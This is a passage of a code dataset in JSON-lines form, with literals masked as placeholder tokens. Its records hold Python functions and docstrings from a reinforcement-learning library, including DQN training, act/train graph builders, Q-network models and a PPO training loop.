q_func,<EOL>'<STR_LIT>': env.action_space.n,<EOL>}<EOL>act = ActWrapper(act, act_params)<EOL>if prioritized_replay:<EOL><INDENT>replay_buffer = PrioritizedReplayBuffer(buffer_size, alpha=prioritized_replay_alpha)<EOL>if prioritized_replay_beta_iters is None:<EOL><INDENT>prioritized_replay_beta_iters = total_timesteps<EOL><DEDENT>beta_schedule = LinearSchedule(prioritized_replay_beta_iters,<EOL>initial_p=prioritized_replay_beta0,<EOL>final_p=<NUM_LIT:1.0>)<EOL><DEDENT>else:<EOL><INDENT>replay_buffer = ReplayBuffer(buffer_size)<EOL>beta_schedule = None<EOL><DEDENT>exploration = LinearSchedule(schedule_timesteps=int(exploration_fraction * total_timesteps),<EOL>initial_p=<NUM_LIT:1.0>,<EOL>final_p=exploration_final_eps)<EOL>U.initialize()<EOL>update_target()<EOL>episode_rewards = [<NUM_LIT:0.0>]<EOL>saved_mean_reward = None<EOL>obs = env.reset()<EOL>reset = True<EOL>with tempfile.TemporaryDirectory() as td:<EOL><INDENT>td = checkpoint_path or td<EOL>model_file = os.path.join(td, \"<STR_LIT>\")<EOL>model_saved = False<EOL>if tf.train.latest_checkpoint(td) is not None:<EOL><INDENT>load_variables(model_file)<EOL>logger.log('<STR_LIT>'.format(model_file))<EOL>model_saved = True<EOL><DEDENT>elif load_path is not None:<EOL><INDENT>load_variables(load_path)<EOL>logger.log('<STR_LIT>'.format(load_path))<EOL><DEDENT>for t in range(total_timesteps):<EOL><INDENT>if callback is not None:<EOL><INDENT>if callback(locals(), globals()):<EOL><INDENT>break<EOL><DEDENT><DEDENT>kwargs = {}<EOL>if not param_noise:<EOL><INDENT>update_eps = exploration.value(t)<EOL>update_param_noise_threshold = <NUM_LIT:0.><EOL><DEDENT>else:<EOL><INDENT>update_eps = <NUM_LIT:0.><EOL>update_param_noise_threshold = -np.log(<NUM_LIT:1.> - exploration.value(t) + exploration.value(t) / float(env.action_space.n))<EOL>kwargs['<STR_LIT>'] = reset<EOL>kwargs['<STR_LIT>'] = update_param_noise_threshold<EOL>kwargs['<STR_LIT>'] = True<EOL><DEDENT>action = act(np.array(obs)[None], update_eps=update_eps, **kwargs)[<NUM_LIT:0>]<EOL>env_action = action<EOL>reset = False<EOL>new_obs, rew, done, _ = env.step(env_action)<EOL>replay_buffer.add(obs, action, rew, new_obs, float(done))<EOL>obs = new_obs<EOL>episode_rewards[-<NUM_LIT:1>] += rew<EOL>if done:<EOL><INDENT>obs = env.reset()<EOL>episode_rewards.append(<NUM_LIT:0.0>)<EOL>reset = True<EOL><DEDENT>if t > learning_starts and t % train_freq == <NUM_LIT:0>:<EOL><INDENT>if prioritized_replay:<EOL><INDENT>experience = replay_buffer.sample(batch_size, beta=beta_schedule.value(t))<EOL>(obses_t, actions, rewards, obses_tp1, dones, weights, batch_idxes) = experience<EOL><DEDENT>else:<EOL><INDENT>obses_t, actions, rewards, obses_tp1, dones = replay_buffer.sample(batch_size)<EOL>weights, batch_idxes = np.ones_like(rewards), None<EOL><DEDENT>td_errors = train(obses_t, actions, rewards, obses_tp1, dones, weights)<EOL>if prioritized_replay:<EOL><INDENT>new_priorities = np.abs(td_errors) + prioritized_replay_eps<EOL>replay_buffer.update_priorities(batch_idxes, new_priorities)<EOL><DEDENT><DEDENT>if t > learning_starts and t % target_network_update_freq == <NUM_LIT:0>:<EOL><INDENT>update_target()<EOL><DEDENT>mean_100ep_reward = round(np.mean(episode_rewards[-<NUM_LIT>:-<NUM_LIT:1>]), <NUM_LIT:1>)<EOL>num_episodes = len(episode_rewards)<EOL>if done and print_freq is not None and len(episode_rewards) % print_freq == <NUM_LIT:0>:<EOL><INDENT>logger.record_tabular(\"<STR_LIT>\", t)<EOL>logger.record_tabular(\"<STR_LIT>\", num_episodes)<EOL>logger.record_tabular(\"<STR_LIT>\", mean_100ep_reward)<EOL>logger.record_tabular(\"<STR_LIT>\", int(<NUM_LIT:100> * exploration.value(t)))<EOL>logger.dump_tabular()<EOL><DEDENT>if (checkpoint_freq is not None and t > learning_starts and<EOL>num_episodes > <NUM_LIT:100> and t % checkpoint_freq == <NUM_LIT:0>):<EOL><INDENT>if saved_mean_reward is None or mean_100ep_reward > saved_mean_reward:<EOL><INDENT>if print_freq is not None:<EOL><INDENT>logger.log(\"<STR_LIT>\".format(<EOL>saved_mean_reward, mean_100ep_reward))<EOL><DEDENT>save_variables(model_file)<EOL>model_saved = True<EOL>saved_mean_reward = mean_100ep_reward<EOL><DEDENT><DEDENT><DEDENT>if model_saved:<EOL><INDENT>if print_freq is not None:<EOL><INDENT>logger.log(\"<STR_LIT>\".format(saved_mean_reward))<EOL><DEDENT>load_variables(model_file)<EOL><DEDENT><DEDENT>return act<EOL>", "docstring": "Train a deepq model.\n\n    Parameters\n    -------\n    env: gym.Env\n        environment to train on\n    network: string or a function\n        neural network to use as a q function approximator. If string, has to be one of the names of registered models in baselines.common.models\n        (mlp, cnn, conv_only). If a function, should take an observation tensor and return a latent variable tensor, which\n        will be mapped to the Q function heads (see build_q_func in baselines.deepq.models for details on that)\n    seed: int or None\n        prng seed. The runs with the same seed \"should\" give the same results. If None, no seeding is used.\n    lr: float\n        learning rate for adam optimizer\n    total_timesteps: int\n        number of env steps to optimizer for\n    buffer_size: int\n        size of the replay buffer\n    exploration_fraction: float\n        fraction of entire training period over which the exploration rate is annealed\n    exploration_final_eps: float\n        final value of random action probability\n    train_freq: int\n        update the model every `train_freq` steps.\n        set to None to disable printing\n    batch_size: int\n        size of a batched sampled from replay buffer for training\n    print_freq: int\n        how often to print out training progress\n        set to None to disable printing\n    checkpoint_freq: int\n        how often to save the model. This is so that the best version is restored\n        at the end of the training. If you do not wish to restore the best version at\n        the end of the training set this variable to None.\n    learning_starts: int\n        how many steps of the model to collect transitions for before learning starts\n    gamma: float\n        discount factor\n    target_network_update_freq: int\n        update the target network every `target_network_update_freq` steps.\n    prioritized_replay: True\n        if True prioritized replay buffer will be used.\n    prioritized_replay_alpha: float\n        alpha parameter for prioritized replay buffer\n    prioritized_replay_beta0: float\n        initial value of beta for prioritized replay buffer\n    prioritized_replay_beta_iters: int\n        number of iterations over which beta will be annealed from initial value\n        to 1.0. If set to None equals to total_timesteps.\n    prioritized_replay_eps: float\n        epsilon to add to the TD errors when updating priorities.\n    param_noise: bool\n        whether or not to use parameter space noise (https://arxiv.org/abs/1706.01905)\n    callback: (locals, globals) -> None\n        function called at every steps with state of the algorithm.\n        If callback returns true training stops.\n    load_path: str\n        path to load the model from. (default: None)\n    **network_kwargs\n        additional keyword arguments to pass to the network builder.\n\n    Returns\n    -------\n    act: ActWrapper\n        Wrapper over act function. Adds ability to save it and load it.\n        See header of baselines/deepq/categorical.py for details on the act function.", "id": "f1283:m1"}
{"signature": "def save_act(self, path=None):", "body": "if path is None:<EOL><INDENT>path = os.path.join(logger.get_dir(), \"<STR_LIT>\")<EOL><DEDENT>with tempfile.TemporaryDirectory() as td:<EOL><INDENT>save_variables(os.path.join(td, \"<STR_LIT>\"))<EOL>arc_name = os.path.join(td, \"<STR_LIT>\")<EOL>with zipfile.ZipFile(arc_name, '<STR_LIT:w>') as zipf:<EOL><INDENT>for root, dirs, files in os.walk(td):<EOL><INDENT>for fname in files:<EOL><INDENT>file_path = os.path.join(root, fname)<EOL>if file_path != arc_name:<EOL><INDENT>zipf.write(file_path, os.path.relpath(file_path, td))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>with open(arc_name, \"<STR_LIT:rb>\") as f:<EOL><INDENT>model_data = f.read()<EOL><DEDENT><DEDENT>with open(path, \"<STR_LIT:wb>\") as f:<EOL><INDENT>cloudpickle.dump((model_data, self._act_params), f)<EOL><DEDENT>", "docstring": "Save model to a pickle located at `path`", "id": "f1283:c0:m4"}
{"signature": "def __init__(self, name=\"<STR_LIT>\"):", "body": "self.name = name<EOL>", "docstring": "Generalized Tensorflow placeholder. The main differences are:\n            - possibly uses multiple placeholders internally and returns multiple values\n            - can apply light postprocessing to the value feed to placeholder.", "id": "f1284:c0:m0"}
{"signature": "def get(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return the tf variable(s) representing the possibly postprocessed value\n        of placeholder(s).", "id": "f1284:c0:m1"}
{"signature": "def make_feed_dict(self, data):", "body": "raise NotImplementedError<EOL>", "docstring": "Given data input it to the placeholder(s).", "id": "f1284:c0:m2"}
{"signature": "def __init__(self, placeholder):", "body": "super().__init__(placeholder.name)<EOL>self._placeholder = placeholder<EOL>", "docstring": "Wrapper for regular tensorflow placeholder.", "id": "f1284:c1:m0"}
{"signature": "def __init__(self, observation_space, name=None):", "body": "inpt, self.processed_inpt = observation_input(observation_space, name=name)<EOL>super().__init__(inpt)<EOL>", "docstring": "Creates an input placeholder tailored to a specific observation space\n\n        Parameters\n        ----------\n\n        observation_space:\n                observation space of the environment. Should be one of the gym.spaces types\n        name: str\n                tensorflow name of the underlying placeholder", "id": "f1284:c2:m0"}
{"signature": "def scope_vars(scope, trainable_only=False):", "body": "return tf.get_collection(<EOL>tf.GraphKeys.TRAINABLE_VARIABLES if trainable_only else tf.GraphKeys.GLOBAL_VARIABLES,<EOL>scope=scope if isinstance(scope, str) else scope.name<EOL>)<EOL>", "docstring": "Get variables inside a scope\nThe scope can be specified as a string\nParameters\n----------\nscope: str or VariableScope\n    scope in which the variables reside.\ntrainable_only: bool\n    whether or not to return only the variables that were marked as trainable.\nReturns\n-------\nvars: [tf.Variable]\n    list of variables in `scope`.", "id": "f1285:m0"}
{"signature": "def scope_name():", "body": "return tf.get_variable_scope().name<EOL>", "docstring": "Returns the name of current scope as a string, e.g. deepq/q_func", "id": "f1285:m1"}
{"signature": "def absolute_scope_name(relative_scope_name):", "body": "return scope_name() + \"<STR_LIT:/>\" + relative_scope_name<EOL>", "docstring": "Appends parent scope name to `relative_scope_name`", "id": "f1285:m2"}
{"signature": "def build_act(make_obs_ph, q_func, num_actions, scope=\"<STR_LIT>\", reuse=None):", "body": "with tf.variable_scope(scope, reuse=reuse):<EOL><INDENT>observations_ph = make_obs_ph(\"<STR_LIT>\")<EOL>stochastic_ph = tf.placeholder(tf.bool, (), name=\"<STR_LIT>\")<EOL>update_eps_ph = tf.placeholder(tf.float32, (), name=\"<STR_LIT>\")<EOL>eps = tf.get_variable(\"<STR_LIT>\", (), initializer=tf.constant_initializer(<NUM_LIT:0>))<EOL>q_values = q_func(observations_ph.get(), num_actions, scope=\"<STR_LIT>\")<EOL>deterministic_actions = tf.argmax(q_values, axis=<NUM_LIT:1>)<EOL>batch_size = tf.shape(observations_ph.get())[<NUM_LIT:0>]<EOL>random_actions = tf.random_uniform(tf.stack([batch_size]), minval=<NUM_LIT:0>, maxval=num_actions, dtype=tf.int64)<EOL>chose_random = tf.random_uniform(tf.stack([batch_size]), minval=<NUM_LIT:0>, maxval=<NUM_LIT:1>, dtype=tf.float32) < eps<EOL>stochastic_actions = tf.where(chose_random, random_actions, deterministic_actions)<EOL>output_actions = tf.cond(stochastic_ph, lambda: stochastic_actions, lambda: deterministic_actions)<EOL>update_eps_expr = eps.assign(tf.cond(update_eps_ph >= <NUM_LIT:0>, lambda: update_eps_ph, lambda: eps))<EOL>_act = U.function(inputs=[observations_ph, stochastic_ph, update_eps_ph],<EOL>outputs=output_actions,<EOL>givens={update_eps_ph: -<NUM_LIT:1.0>, stochastic_ph: True},<EOL>updates=[update_eps_expr])<EOL>def act(ob, stochastic=True, update_eps=-<NUM_LIT:1>):<EOL><INDENT>return _act(ob, stochastic, update_eps)<EOL><DEDENT>return act<EOL><DEDENT>", "docstring": "Creates the act function:\n\n    Parameters\n    ----------\n    make_obs_ph: str -> tf.placeholder or TfInput\n        a function that take a name and creates a placeholder of input with that name\n    q_func: (tf.Variable, int, str, bool) -> tf.Variable\n        the model that takes the following inputs:\n            observation_in: object\n                the output of observation placeholder\n            num_actions: int\n                number of actions\n            scope: str\n            reuse: bool\n                should be passed to outer variable scope\n        and returns a tensor of shape (batch_size, num_actions) with values of every action.\n    num_actions: int\n        number of actions.\n    scope: str or VariableScope\n        optional scope for variable_scope.\n    reuse: bool or None\n        whether or not the variables should be reused. To be able to reuse the scope must be given.\n\n    Returns\n    -------\n    act: (tf.Variable, bool, float) -> tf.Variable\n        function to select and action given observation.\n`       See the top of the file for details.", "id": "f1285:m4"}
{"signature": "def build_act_with_param_noise(make_obs_ph, q_func, num_actions, scope=\"<STR_LIT>\", reuse=None, param_noise_filter_func=None):", "body": "if param_noise_filter_func is None:<EOL><INDENT>param_noise_filter_func = default_param_noise_filter<EOL><DEDENT>with tf.variable_scope(scope, reuse=reuse):<EOL><INDENT>observations_ph = make_obs_ph(\"<STR_LIT>\")<EOL>stochastic_ph = tf.placeholder(tf.bool, (), name=\"<STR_LIT>\")<EOL>update_eps_ph = tf.placeholder(tf.float32, (), name=\"<STR_LIT>\")<EOL>update_param_noise_threshold_ph = tf.placeholder(tf.float32, (), name=\"<STR_LIT>\")<EOL>update_param_noise_scale_ph = tf.placeholder(tf.bool, (), name=\"<STR_LIT>\")<EOL>reset_ph = tf.placeholder(tf.bool, (), name=\"<STR_LIT>\")<EOL>eps = tf.get_variable(\"<STR_LIT>\", (), initializer=tf.constant_initializer(<NUM_LIT:0>))<EOL>param_noise_scale = tf.get_variable(\"<STR_LIT>\", (), initializer=tf.constant_initializer(<NUM_LIT>), trainable=False)<EOL>param_noise_threshold = tf.get_variable(\"<STR_LIT>\", (), initializer=tf.constant_initializer(<NUM_LIT>), trainable=False)<EOL>q_values = q_func(observations_ph.get(), num_actions, scope=\"<STR_LIT>\")<EOL>q_values_perturbed = q_func(observations_ph.get(), num_actions, scope=\"<STR_LIT>\")<EOL>def perturb_vars(original_scope, perturbed_scope):<EOL><INDENT>all_vars = scope_vars(absolute_scope_name(original_scope))<EOL>all_perturbed_vars = scope_vars(absolute_scope_name(perturbed_scope))<EOL>assert len(all_vars) == len(all_perturbed_vars)<EOL>perturb_ops = []<EOL>for var, perturbed_var in zip(all_vars, all_perturbed_vars):<EOL><INDENT>if param_noise_filter_func(perturbed_var):<EOL><INDENT>op = tf.assign(perturbed_var, var + tf.random_normal(shape=tf.shape(var), mean=<NUM_LIT:0.>, stddev=param_noise_scale))<EOL><DEDENT>else:<EOL><INDENT>op = tf.assign(perturbed_var, var)<EOL><DEDENT>perturb_ops.append(op)<EOL><DEDENT>assert len(perturb_ops) == len(all_vars)<EOL>return tf.group(*perturb_ops)<EOL><DEDENT>q_values_adaptive = q_func(observations_ph.get(), num_actions, scope=\"<STR_LIT>\")<EOL>perturb_for_adaption = perturb_vars(original_scope=\"<STR_LIT>\", perturbed_scope=\"<STR_LIT>\")<EOL>kl = tf.reduce_sum(tf.nn.softmax(q_values) * (tf.log(tf.nn.softmax(q_values)) - tf.log(tf.nn.softmax(q_values_adaptive))), axis=-<NUM_LIT:1>)<EOL>mean_kl = tf.reduce_mean(kl)<EOL>def update_scale():<EOL><INDENT>with tf.control_dependencies([perturb_for_adaption]):<EOL><INDENT>update_scale_expr = tf.cond(mean_kl < param_noise_threshold,<EOL>lambda: param_noise_scale.assign(param_noise_scale * <NUM_LIT>),<EOL>lambda: param_noise_scale.assign(param_noise_scale / <NUM_LIT>),<EOL>)<EOL><DEDENT>return update_scale_expr<EOL><DEDENT>update_param_noise_threshold_expr = param_noise_threshold.assign(tf.cond(update_param_noise_threshold_ph >= <NUM_LIT:0>,<EOL>lambda: update_param_noise_threshold_ph, lambda: param_noise_threshold))<EOL>deterministic_actions = tf.argmax(q_values_perturbed, axis=<NUM_LIT:1>)<EOL>batch_size = tf.shape(observations_ph.get())[<NUM_LIT:0>]<EOL>random_actions = tf.random_uniform(tf.stack([batch_size]), minval=<NUM_LIT:0>, maxval=num_actions, dtype=tf.int64)<EOL>chose_random = tf.random_uniform(tf.stack([batch_size]), minval=<NUM_LIT:0>, maxval=<NUM_LIT:1>, dtype=tf.float32) < eps<EOL>stochastic_actions = tf.where(chose_random, random_actions, deterministic_actions)<EOL>output_actions = tf.cond(stochastic_ph, lambda: stochastic_actions, lambda: deterministic_actions)<EOL>update_eps_expr = eps.assign(tf.cond(update_eps_ph >= <NUM_LIT:0>, lambda: update_eps_ph, lambda: eps))<EOL>updates = [<EOL>update_eps_expr,<EOL>tf.cond(reset_ph, lambda: perturb_vars(original_scope=\"<STR_LIT>\", perturbed_scope=\"<STR_LIT>\"), lambda: tf.group(*[])),<EOL>tf.cond(update_param_noise_scale_ph, lambda: update_scale(), lambda: tf.Variable(<NUM_LIT:0.>, trainable=False)),<EOL>update_param_noise_threshold_expr,<EOL>]<EOL>_act = U.function(inputs=[observations_ph, stochastic_ph, update_eps_ph, reset_ph, update_param_noise_threshold_ph, update_param_noise_scale_ph],<EOL>outputs=output_actions,<EOL>givens={update_eps_ph: -<NUM_LIT:1.0>, stochastic_ph: True, reset_ph: False, update_param_noise_threshold_ph: False, update_param_noise_scale_ph: False},<EOL>updates=updates)<EOL>def act(ob, reset=False, update_param_noise_threshold=False, update_param_noise_scale=False, stochastic=True, update_eps=-<NUM_LIT:1>):<EOL><INDENT>return _act(ob, stochastic, update_eps, reset, update_param_noise_threshold, update_param_noise_scale)<EOL><DEDENT>return act<EOL><DEDENT>", "docstring": "Creates the act function with support for parameter space noise exploration (https://arxiv.org/abs/1706.01905):\n\n    Parameters\n    ----------\n    make_obs_ph: str -> tf.placeholder or TfInput\n        a function that take a name and creates a placeholder of input with that name\n    q_func: (tf.Variable, int, str, bool) -> tf.Variable\n        the model that takes the following inputs:\n            observation_in: object\n                the output of observation placeholder\n            num_actions: int\n                number of actions\n            scope: str\n            reuse: bool\n                should be passed to outer variable scope\n        and returns a tensor of shape (batch_size, num_actions) with values of every action.\n    num_actions: int\n        number of actions.\n    scope: str or VariableScope\n        optional scope for variable_scope.\n    reuse: bool or None\n        whether or not the variables should be reused. To be able to reuse the scope must be given.\n    param_noise_filter_func: tf.Variable -> bool\n        function that decides whether or not a variable should be perturbed. Only applicable\n        if param_noise is True. If set to None, default_param_noise_filter is used by default.\n\n    Returns\n    -------\n    act: (tf.Variable, bool, float, bool, float, bool) -> tf.Variable\n        function to select and action given observation.\n`       See the top of the file for details.", "id": "f1285:m5"}
{"signature": "def build_train(make_obs_ph, q_func, num_actions, optimizer, grad_norm_clipping=None, gamma=<NUM_LIT:1.0>,<EOL>double_q=True, scope=\"<STR_LIT>\", reuse=None, param_noise=False, param_noise_filter_func=None):", "body": "if param_noise:<EOL><INDENT>act_f = build_act_with_param_noise(make_obs_ph, q_func, num_actions, scope=scope, reuse=reuse,<EOL>param_noise_filter_func=param_noise_filter_func)<EOL><DEDENT>else:<EOL><INDENT>act_f = build_act(make_obs_ph, q_func, num_actions, scope=scope, reuse=reuse)<EOL><DEDENT>with tf.variable_scope(scope, reuse=reuse):<EOL><INDENT>obs_t_input = make_obs_ph(\"<STR_LIT>\")<EOL>act_t_ph = tf.placeholder(tf.int32, [None], name=\"<STR_LIT:action>\")<EOL>rew_t_ph = tf.placeholder(tf.float32, [None], name=\"<STR_LIT>\")<EOL>obs_tp1_input = make_obs_ph(\"<STR_LIT>\")<EOL>done_mask_ph = tf.placeholder(tf.float32, [None], name=\"<STR_LIT>\")<EOL>importance_weights_ph = tf.placeholder(tf.float32, [None], name=\"<STR_LIT>\")<EOL>q_t = q_func(obs_t_input.get(), num_actions, scope=\"<STR_LIT>\", reuse=True)  <EOL>q_func_vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=tf.get_variable_scope().name + \"<STR_LIT>\")<EOL>q_tp1 = q_func(obs_tp1_input.get(), num_actions, scope=\"<STR_LIT>\")<EOL>target_q_func_vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=tf.get_variable_scope().name + \"<STR_LIT>\")<EOL>q_t_selected = tf.reduce_sum(q_t * tf.one_hot(act_t_ph, num_actions), <NUM_LIT:1>)<EOL>if double_q:<EOL><INDENT>q_tp1_using_online_net = q_func(obs_tp1_input.get(), num_actions, scope=\"<STR_LIT>\", reuse=True)<EOL>q_tp1_best_using_online_net = tf.argmax(q_tp1_using_online_net, <NUM_LIT:1>)<EOL>q_tp1_best = tf.reduce_sum(q_tp1 * tf.one_hot(q_tp1_best_using_online_net, num_actions), <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>q_tp1_best = tf.reduce_max(q_tp1, <NUM_LIT:1>)<EOL><DEDENT>q_tp1_best_masked = (<NUM_LIT:1.0> - done_mask_ph) * q_tp1_best<EOL>q_t_selected_target = rew_t_ph + gamma * q_tp1_best_masked<EOL>td_error = q_t_selected - tf.stop_gradient(q_t_selected_target)<EOL>errors = U.huber_loss(td_error)<EOL>weighted_error = tf.reduce_mean(importance_weights_ph * errors)<EOL>if grad_norm_clipping is not None:<EOL><INDENT>gradients = optimizer.compute_gradients(weighted_error, var_list=q_func_vars)<EOL>for i, (grad, var) in enumerate(gradients):<EOL><INDENT>if grad is not None:<EOL><INDENT>gradients[i] = (tf.clip_by_norm(grad, grad_norm_clipping), var)<EOL><DEDENT><DEDENT>optimize_expr = optimizer.apply_gradients(gradients)<EOL><DEDENT>else:<EOL><INDENT>optimize_expr = optimizer.minimize(weighted_error, var_list=q_func_vars)<EOL><DEDENT>update_target_expr = []<EOL>for var, var_target in zip(sorted(q_func_vars, key=lambda v: v.name),<EOL>sorted(target_q_func_vars, key=lambda v: v.name)):<EOL><INDENT>update_target_expr.append(var_target.assign(var))<EOL><DEDENT>update_target_expr = tf.group(*update_target_expr)<EOL>train = U.function(<EOL>inputs=[<EOL>obs_t_input,<EOL>act_t_ph,<EOL>rew_t_ph,<EOL>obs_tp1_input,<EOL>done_mask_ph,<EOL>importance_weights_ph<EOL>],<EOL>outputs=td_error,<EOL>updates=[optimize_expr]<EOL>)<EOL>update_target = U.function([], [], updates=[update_target_expr])<EOL>q_values = U.function([obs_t_input], q_t)<EOL>return act_f, train, update_target, {'<STR_LIT>': q_values}<EOL><DEDENT>", "docstring": "Creates the train function:\n\n    Parameters\n    ----------\n    make_obs_ph: str -> tf.placeholder or TfInput\n        a function that takes a name and creates a placeholder of input with that name\n    q_func: (tf.Variable, int, str, bool) -> tf.Variable\n        the model that takes the following inputs:\n            observation_in: object\n                the output of observation placeholder\n            num_actions: int\n                number of actions\n            scope: str\n            reuse: bool\n                should be passed to outer variable scope\n        and returns a tensor of shape (batch_size, num_actions) with values of every action.\n    num_actions: int\n        number of actions\n    reuse: bool\n        whether or not to reuse the graph variables\n    optimizer: tf.train.Optimizer\n        optimizer to use for the Q-learning objective.\n    grad_norm_clipping: float or None\n        clip gradient norms to this value. If None no clipping is performed.\n    gamma: float\n        discount rate.\n    double_q: bool\n        if true will use Double Q Learning (https://arxiv.org/abs/1509.06461).\n        In general it is a good idea to keep it enabled.\n    scope: str or VariableScope\n        optional scope for variable_scope.\n    reuse: bool or None\n        whether or not the variables should be reused. To be able to reuse the scope must be given.\n    param_noise: bool\n        whether or not to use parameter space noise (https://arxiv.org/abs/1706.01905)\n    param_noise_filter_func: tf.Variable -> bool\n        function that decides whether or not a variable should be perturbed. Only applicable\n        if param_noise is True. If set to None, default_param_noise_filter is used by default.\n\n    Returns\n    -------\n    act: (tf.Variable, bool, float) -> tf.Variable\n        function to select and action given observation.\n`       See the top of the file for details.\n    train: (object, np.array, np.array, object, np.array, np.array) -> np.array\n        optimize the error in Bellman's equation.\n`       See the top of the file for details.\n    update_target: () -> ()\n        copy the parameters from optimized Q function to the target Q function.\n`       See the top of the file for details.\n    debug: {str: function}\n        a bunch of functions to print debug data like q_values.", "id": "f1285:m6"}
{"signature": "def mlp(hiddens=[], layer_norm=False):", "body": "return lambda *args, **kwargs: _mlp(hiddens, layer_norm=layer_norm, *args, **kwargs)<EOL>", "docstring": "This model takes as input an observation and returns values of all actions.\n\n    Parameters\n    ----------\n    hiddens: [int]\n        list of sizes of hidden layers\n    layer_norm: bool\n        if true applies layer normalization for every layer\n        as described in https://arxiv.org/abs/1607.06450\n\n    Returns\n    -------\n    q_func: function\n        q_function for DQN algorithm.", "id": "f1286:m1"}
{"signature": "def cnn_to_mlp(convs, hiddens, dueling=False, layer_norm=False):", "body": "return lambda *args, **kwargs: _cnn_to_mlp(convs, hiddens, dueling, layer_norm=layer_norm, *args, **kwargs)<EOL>", "docstring": "This model takes as input an observation and returns values of all actions.\n\n    Parameters\n    ----------\n    convs: [(int, int, int)]\n        list of convolutional layers in form of\n        (num_outputs, kernel_size, stride)\n    hiddens: [int]\n        list of sizes of hidden layers\n    dueling: bool\n        if true double the output MLP to compute a baseline\n        for action scores\n    layer_norm: bool\n        if true applies layer normalization for every layer\n        as described in https://arxiv.org/abs/1607.06450\n\n    Returns\n    -------\n    q_func: function\n        q_function for DQN algorithm.", "id": "f1286:m3"}
{"signature": "def model(inpt, num_actions, scope, reuse=False):", "body": "with tf.variable_scope(scope, reuse=reuse):<EOL><INDENT>out = inpt<EOL>out = layers.fully_connected(out, num_outputs=<NUM_LIT:64>, activation_fn=tf.nn.tanh)<EOL>out = layers.fully_connected(out, num_outputs=num_actions, activation_fn=None)<EOL>return out<EOL><DEDENT>", "docstring": "This model takes as input an observation and returns values of all actions.", "id": "f1292:m0"}
{"signature": "def learn(*, network, env, total_timesteps, eval_env = None, seed=None, nsteps=<NUM_LIT>, ent_coef=<NUM_LIT:0.0>, lr=<NUM_LIT>,<EOL>vf_coef=<NUM_LIT:0.5>,  max_grad_norm=<NUM_LIT:0.5>, gamma=<NUM_LIT>, lam=<NUM_LIT>,<EOL>log_interval=<NUM_LIT:10>, nminibatches=<NUM_LIT:4>, noptepochs=<NUM_LIT:4>, cliprange=<NUM_LIT>,<EOL>save_interval=<NUM_LIT:0>, load_path=None, model_fn=None, **network_kwargs):", "body": "set_global_seeds(seed)<EOL>if isinstance(lr, float): lr = constfn(lr)<EOL>else: assert callable(lr)<EOL>if isinstance(cliprange, float): cliprange = constfn(cliprange)<EOL>else: assert callable(cliprange)<EOL>total_timesteps = int(total_timesteps)<EOL>policy = build_policy(env, network, **network_kwargs)<EOL>nenvs = env.num_envs<EOL>ob_space = env.observation_space<EOL>ac_space = env.action_space<EOL>nbatch = nenvs * nsteps<EOL>nbatch_train = nbatch // nminibatches<EOL>if model_fn is None:<EOL><INDENT>from baselines.ppo2.model import Model<EOL>model_fn = Model<EOL><DEDENT>model = model_fn(policy=policy, ob_space=ob_space, ac_space=ac_space, nbatch_act=nenvs, nbatch_train=nbatch_train,<EOL>nsteps=nsteps, ent_coef=ent_coef, vf_coef=vf_coef,<EOL>max_grad_norm=max_grad_norm)<EOL>if load_path is not None:<EOL><INDENT>model.load(load_path)<EOL><DEDENT>runner = Runner(env=env, model=model, nsteps=nsteps, gamma=gamma, lam=lam)<EOL>if eval_env is not None:<EOL><INDENT>eval_runner = Runner(env = eval_env, model = model, nsteps = nsteps, gamma = gamma, lam= lam)<EOL><DEDENT>epinfobuf = deque(maxlen=<NUM_LIT:100>)<EOL>if eval_env is not None:<EOL><INDENT>eval_epinfobuf = deque(maxlen=<NUM_LIT:100>)<EOL><DEDENT>tfirststart = time.perf_counter()<EOL>nupdates = total_timesteps//nbatch<EOL>for update in range(<NUM_LIT:1>, nupdates+<NUM_LIT:1>):<EOL><INDENT>assert nbatch % nminibatches == <NUM_LIT:0><EOL>tstart = time.perf_counter()<EOL>frac = <NUM_LIT:1.0> - (update - <NUM_LIT:1.0>) / nupdates<EOL>lrnow = lr(frac)<EOL>cliprangenow = cliprange(frac)<EOL>obs, returns, masks, actions, values, neglogpacs, states, epinfos = runner.run() <EOL>if eval_env is not None:<EOL><INDENT>eval_obs, eval_returns, eval_masks, eval_actions, eval_values, eval_neglogpacs, eval_states, eval_epinfos = eval_runner.run() <EOL><DEDENT>epinfobuf.extend(epinfos)<EOL>if eval_env is not None:<EOL><INDENT>eval_epinfobuf.extend(eval_epinfos)<EOL><DEDENT>mblossvals = []<EOL>if states is None: <EOL><INDENT>inds = np.arange(nbatch)<EOL>for _ in range(noptepochs):<EOL><INDENT>np.random.shuffle(inds)<EOL>for start in range(<NUM_LIT:0>, nbatch, nbatch_train):<EOL><INDENT>end = start + nbatch_train<EOL>mbinds = inds[start:end]<EOL>slices = (arr[mbinds] for arr in (obs, returns, masks, actions, values, neglogpacs))<EOL>mblossvals.append(model.train(lrnow, cliprangenow, *slices))<EOL><DEDENT><DEDENT><DEDENT>else: <EOL><INDENT>assert nenvs % nminibatches == <NUM_LIT:0><EOL>envsperbatch = nenvs // nminibatches<EOL>envinds = np.arange(nenvs)<EOL>flatinds = np.arange(nenvs * nsteps).reshape(nenvs, nsteps)<EOL>for _ in range(noptepochs):<EOL><INDENT>np.random.shuffle(envinds)<EOL>for start in range(<NUM_LIT:0>, nenvs, envsperbatch):<EOL><INDENT>end = start + envsperbatch<EOL>mbenvinds = envinds[start:end]<EOL>mbflatinds = flatinds[mbenvinds].ravel()<EOL>slices = (arr[mbflatinds] for arr in (obs, returns, masks, actions, values, neglogpacs))<EOL>mbstates = states[mbenvinds]<EOL>mblossvals.append(model.train(lrnow, cliprangenow, *slices, mbstates))<EOL><DEDENT><DEDENT><DEDENT>lossvals = np.mean(mblossvals, axis=<NUM_LIT:0>)<EOL>tnow = time.perf_counter()<EOL>fps = int(nbatch / (tnow - tstart))<EOL>if update % log_interval == <NUM_LIT:0> or update == <NUM_LIT:1>:<EOL><INDENT>ev = explained_variance(values, returns)<EOL>logger.logkv(\"<STR_LIT>\", update*nsteps)<EOL>logger.logkv(\"<STR_LIT>\", update)<EOL>logger.logkv(\"<STR_LIT>\", update*nbatch)<EOL>logger.logkv(\"<STR_LIT>\", fps)<EOL>logger.logkv(\"<STR_LIT>\", float(ev))<EOL>logger.logkv('<STR_LIT>', 